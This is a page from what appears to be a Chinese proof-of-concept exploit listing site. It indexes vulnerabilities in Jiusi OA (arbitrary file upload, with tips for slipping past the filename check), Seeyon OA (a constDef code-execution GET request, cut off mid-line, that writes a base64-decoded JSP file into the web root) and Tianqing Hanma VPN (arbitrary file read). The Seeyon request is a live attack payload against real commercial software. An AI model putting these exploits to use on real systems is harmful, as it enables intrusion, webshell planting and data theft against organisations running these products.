POC 第6页
排序
【通用】 九思OA upload_l.jsp 任意文件上传
fofa 语句poc细节 注意上传的文件名必须是xxxlogin.jsp 字符中有login就可以正常的访问，不能有数字要纯字符yakit 有问题写的插件发的包有问题所以没提供yakit插件nuclei yaml已验证
6个月前致远在野constDef接囗存在代码执行漏洞
GET /seeyon/constDefdo?method=newConstDef&constKey=asdasd&constDefine=$demo%20%22;new%20File(%22./webapps/ROOT/1111.jsp%22).write(new%20String(Base64.getDecoder0.decode%22P...
6个月前天清汉马vpn任意文件读取
6个月前